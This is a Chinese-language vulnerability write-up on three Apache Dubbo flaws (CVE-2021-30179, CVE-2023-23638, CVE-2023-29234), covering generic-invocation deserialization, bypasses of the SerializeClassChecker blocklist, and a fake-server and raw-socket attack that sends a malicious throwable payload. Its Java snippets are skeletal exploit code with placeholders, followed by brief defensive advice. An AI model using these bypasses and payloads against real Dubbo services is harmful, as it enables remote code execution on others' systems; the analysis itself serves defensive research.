Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析
字数 1638 2025-08-19 12:41:42
Apache Dubbo 安全漏洞分析与利用指南
1. 前言
本文详细分析 Apache Dubbo 框架中的三个关键安全漏洞:CVE-2021-30179、CVE-2023-23638 和 CVE-2023-29234。这些漏洞主要涉及 Dubbo 的泛化调用机制和反序列化安全问题,可能导致远程代码执行(RCE)。
2. Dubbo 泛化调用基础
泛化调用(Generic Invocation)是 Dubbo 的一个重要特性,允许调用方在没有服务方提供的 API(SDK)的情况下进行服务调用。这种机制在带来便利的同时也引入了安全风险。
2.1 泛化调用流程
- 客户端构造泛化调用请求
- 服务端接收并解码请求
- 服务端通过 GenericFilter 处理泛化调用
- 服务端执行实际方法并返回结果
3. CVE-2021-30179 分析
3.1 漏洞原理
该漏洞存在于 Dubbo 的泛化调用处理过程中,攻击者可以通过精心构造的泛化调用请求触发不安全的反序列化操作。
3.2 关键代码路径
DecodeHandler#received- 客户端 RPC 调用请求处理入口DecodeableRpcInvocation#decode()- 解码 RPC 调用GenericFilter#invoke- 处理泛化调用
3.3 反序列化方式分析
Dubbo 支持多种泛化调用的反序列化方式,每种方式都有不同的利用点:
3.3.1 raw.return 方式
// 利用点1: 通过Map方式传入利用class
Map<String, Object> maliciousMap = new HashMap<>();
maliciousMap.put("class", "恶意类名");
// 利用点2: 设置恶意属性
maliciousMap.put("fieldName", "恶意值");
3.3.2 bean 方式
// 利用JavaBeanDescriptor构造恶意对象
JavaBeanDescriptor maliciousBean = new JavaBeanDescriptor();
maliciousBean.setClassName("恶意类名");
// 设置恶意属性
maliciousBean.setProperty("fieldName", "恶意值");
3.3.3 native 方式
// 需要开启dubbo.security.serialize.generic.native-java-enable
// 直接构造恶意序列化数据
byte[] maliciousBytes = serialize(恶意对象);
3.4 利用限制
默认配置下,漏洞利用受限于 Hessian2 反序列化限制,具有局限性。
4. CVE-2023-23638 分析与绕过
4.1 修复措施
Dubbo 引入了 SerializeClassChecker 类进行安全检查:
- 默认检查类是否可序列化(
dubbo.application.check-serializable=true) - 维护了反序列化黑名单(
CLASS_DESERIALIZE_BLOCKED_SET)
4.2 绕过方法
4.2.1 native 方式绕过
// 通过ConfigUtils设置属性开启native-java序列化
Map<String, String> configMap = new HashMap<>();
configMap.put("dubbo.security.serialize.generic.native-java-enable", "true");
ConfigUtils.setProperties(configMap);
4.2.2 raw.return 方式绕过
// 禁用SerializeClassChecker的检查
Map<String, Object> maliciousMap = new HashMap<>();
maliciousMap.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
maliciousMap.put("OPEN_CHECK_CLASS", false);
// 或者清空黑名单
maliciousMap.put("CLASS_DESERIALIZE_BLOCKED_SET", new HashSet<>());
4.3 修复有效性
修复措施有效阻止了以下利用:
ConfigUtils和System类未实现序列化接口SerializeClassChecker本身也无法被恶意序列化
5. CVE-2023-29234 分析
5.1 漏洞原理
该漏洞源于 Dubbo 在异常处理时隐式调用 toString() 方法,可能触发恶意代码执行。
5.2 关键代码路径
DecodeableRpcResult#decode- 解码 RPC 结果handleException()- 处理异常ObjectInput.readThrowable()- 读取异常对象- 隐式调用
toString()
5.3 利用方式
5.3.1 Fake Server 攻击
- 构造恶意服务端,返回包含恶意对象的响应
- 客户端连接时触发反序列化
关键代码:
// 重写encodeResponseData方法
@Override
protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
// 构造恶意toString对象
Object th = getThrowablePayload("恶意命令");
out.writeByte(RESPONSE_WITH_EXCEPTION);
out.writeObject(th); // 直接序列化恶意对象
}
5.3.2 客户端攻击服务端
适用于 Dubbo 3.1.5 及以下版本:
// 构造恶意Response
ByteArrayOutputStream boos = new ByteArrayOutputStream();
NativeJavaObjectOutput out = new NativeJavaObjectOutput(boos);
// 设置响应头
byte[] header = new byte[HEADER_LENGTH];
Bytes.short2bytes(MAGIC, header);
header[2] = Serialization.getContentTypeId();
header[3] = Response.OK;
Bytes.long2bytes(1, header, 4);
// 构造恶意toString对象
Object exp = getThrowablePayload("恶意命令");
out.writeByte(RESPONSE_WITH_EXCEPTION);
out.writeObject(exp);
// 发送到服务端
Socket socket = new Socket("目标IP", 20880);
socket.getOutputStream().write(boos.toByteArray());
5.4 版本差异
- 3.1.5及以下:
getRequestData返回null仍可继续处理 - 3.1.10及以上:
getRequestData失败会直接抛出异常
6. 防御措施
- 及时升级到最新安全版本
- 限制泛化调用的使用范围
- 配置严格的反序列化白名单
- 网络层面限制Dubbo端口的访问
7. 参考资源
8. 总结
本文详细分析了Dubbo框架中的三个关键漏洞,从原理到利用方式进行了全面讲解。理解这些漏洞有助于安全地配置和使用Dubbo框架,同时也能帮助安全研究人员进行有效的安全测试。